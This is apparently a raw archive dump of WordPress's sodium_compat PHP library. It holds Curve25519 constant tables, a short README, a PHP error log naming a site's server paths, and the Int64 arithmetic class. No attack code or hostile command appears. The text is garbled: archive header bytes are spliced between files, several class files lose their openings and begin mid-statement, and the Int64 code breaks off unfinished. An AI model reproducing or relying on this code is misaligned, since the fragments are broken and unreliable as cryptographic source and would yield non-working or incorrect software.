25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array>> basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); } PK!珉src/Core32/Curve25519/README.mdnu[# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). PK! src/Core32/Curve25519/error_lognu[[04-Sep-2026 13:27:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [04-Sep-2026 13:40:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [10-Sep-2026 10:30:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [10-Sep-2026 13:57:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [10-Sep-2026 14:09:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [10-Sep-2026 22:11:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 PK!% $src/Core32/Curve25519/Ge/Precomp.phpnu[yplusx = $yplusx; if ($yminusx === null) { $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->xy2d = $xy2d; } } PK!}M  #src/Core32/Curve25519/Ge/Cached.phpnu[YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T2d = $T2d; } } PK!Íۤaasrc/Core32/Curve25519/Ge/P2.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; } } PK!6VVsrc/Core32/Curve25519/Ge/P3.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T = $t; } } PK!~g!src/Core32/Curve25519/Ge/P1p1.phpnu[X = $x; if ($y === null) { $y = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Y = $y; if ($z === null) { $z = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Z = $z; if ($t === null) { $t = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->T = $t; } } PK!=/yysrc/Core32/Int64.phpnu[ - four 16-bit integers */ public $limbs = array(0, 0, 0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int64 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1], (int) $array[2], (int) $array[3] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int64 objects * * @param ParagonIE_Sodium_Core32_Int64 $addend * @return ParagonIE_Sodium_Core32_Int64 */ public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $j2 = $addend->limbs[2]; $j3 = $addend->limbs[3]; $r3 = $i3 + ($j3 & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + ($j2 & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + ($j1 & 0xffff) + $carry; $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int64 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $r3 = $i3 + ($int & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + (($int >> 16) & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + $carry; $carry = $r1 >> 16; $r0 = $i0 + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 4; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** int */ $gt |= (($x2 - $x1) >> 8) & $eq; /** int */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $hi * @param int $lo * @return ParagonIE_Sodium_Core32_Int64 */ public function mask64($hi = 0, $lo = 0) { /** @var int $a */ $a = ($hi >> 16) & 0xffff; /** @var int $b */ $b = ($hi) & 0xffff; /** @var int $c */ $c = ($lo >> 16) & 0xffff; /** @var int $d */ $d = ($lo & 0xffff); return new ParagonIE_Sodium_Core32_Int64( array( $this->limbs[0] & $a, $this->limbs[1] & $b, $this->limbs[2] & $c, $this->limbs[3] & $d ), $this->unsignedInt ); } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt($int = 0, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 63; } $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $mask = -($int & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $A * @param ParagonIE_Sodium_Core32_Int64 $B * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedInferredReturnType */ public static function ctSelect( ParagonIE_Sodium_Core32_Int64 $A, ParagonIE_Sodium_Core32_Int64 $B ) { $a = clone $A; $b = clone $B; /** @var int $aNeg */ $aNeg = ($a->limbs[0] >> 15) & 1; /** @var int $bNeg */ $bNeg = ($b->limbs[0] >> 15) & 1; /** @var int $m */ $m = (-($aNeg & $bNeg)) | 1; /** @var int $swap */ $swap = $bNeg & ~$aNeg; /** @var int $d */ $d = -$swap; /* if ($bNeg && !$aNeg) { $a = clone $int; $b = clone $this; } elseif($bNeg && $aNeg) { $a = $this->mulInt(-1); $b = $int->mulInt(-1); } */ $x = $a->xorInt64($b)->mask64($d, $d); return array( $a->xorInt64($x)->mulInt($m), $b->xorInt64($x)->mulInt($m) ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = (($a_i * $b_j) + $r[$i + $j]); $carry = (((int) $product >> $baseLog2) & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int64 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff, -$bNeg & 0xffff, -$bNeg & 0xffff ); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $right * @return ParagonIE_Sodium_Core32_Int64 */ public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4]; } return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt64Fast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (!$size) { $size = 63; } list($a, $b) = self::ctSelect($this, $int); $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; $b2 = $b->limbs[2]; $b3 = $b->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = (int) $size; $i >= 0; --$i) { $mask = -($b3 & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $x0 = ($b0 & 1) << 16; $x1 = ($b1 & 1) << 16; $x2 = ($b2 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b2 = (($b2 | $x1) >> 1); $b3 = (($b3 | $x2) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; $b2 &= 0xffff; $b3 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * OR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function orInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]), (int) ($this->limbs[2] | $b->limbs[2]), (int) ($this->limbs[3] | $b->limbs[3]) ); return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 3; /** @var int $k */ $k = ($i + $idx_shift + 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; /** @var ParagonIE_Sodium_Core32_Int64 $return */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 3; /** @var int $k */ $k = ($i - $idx_shift - 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c >= 16) { if ($c >= 48) { $return->limbs = array( $this->limbs[3], 0, 0, 0 ); } elseif ($c >= 32) { $return->limbs = array( $this->limbs[2], $this->limbs[3], 0, 0 ); } else { $return->limbs = array( $this->limbs[1], $this->limbs[2], $this->limbs[3], 0 ); } return $return->shiftLeft($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff); $return->limbs[$i] = (int) ($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); $c = (int) $c; /** @var int $c */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; $negative = -(($this->limbs[0] >> 15) & 1); if ($c >= 16) { if ($c >= 48) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0] ); } elseif ($c >= 32) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1] ); } else { $return->limbs = array( (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1], (int) $this->limbs[2] ); } return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carryRight */ $carryRight = ($negative & 0xffff); $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff); for ($i = 0; $i < 4; ++$i) { $return->limbs[$i] = (int) ( (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff ); $carryRight = (int) ($this->limbs[$i] & $mask); } } return $return; } /** * Subtract a normal integer from an int64 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry; /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[$i] = (int) ($tmp & 0xffff); } return $return; } /** * The difference between two Int64 objects. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function subInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry; /** @var int $carry */ $carry = ($tmp >> 16); $return->limbs[$i] 